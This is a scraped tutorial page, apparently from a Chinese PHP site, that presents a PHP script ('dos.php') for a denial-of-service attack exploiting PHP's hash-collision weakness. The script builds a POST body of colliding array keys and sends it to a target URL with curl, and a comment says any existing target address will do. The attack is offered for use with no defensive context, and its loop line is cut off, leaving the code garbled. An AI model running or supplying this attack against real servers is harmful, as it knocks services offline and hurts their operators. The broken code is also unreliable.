Heim > Artikel > Backend-Entwicklung > 通过PHP的hash冲突漏洞进行DDoS攻击_PHP教程
文件dos.php
// 目标地址
// 只要目标地址存在,不用管它是干嘛的
$host = 'http://127.0.0.1/test.php';
$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key
{
$data .= '&array[' . $key . ']=0';
}
$ret = curl($host, ltrim($data,'&'));
var_dump($ret);
function curl($url, $post, $timeout = 30){
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$output = curl_exec($ch);
if ($output === false) return false;
$info = curl_getinfo($ch);
$http_code = $info['http_code'];
if ($http_code == 404) return false;
curl_close($ch);
return $output;
}
文件ddos.php
[php]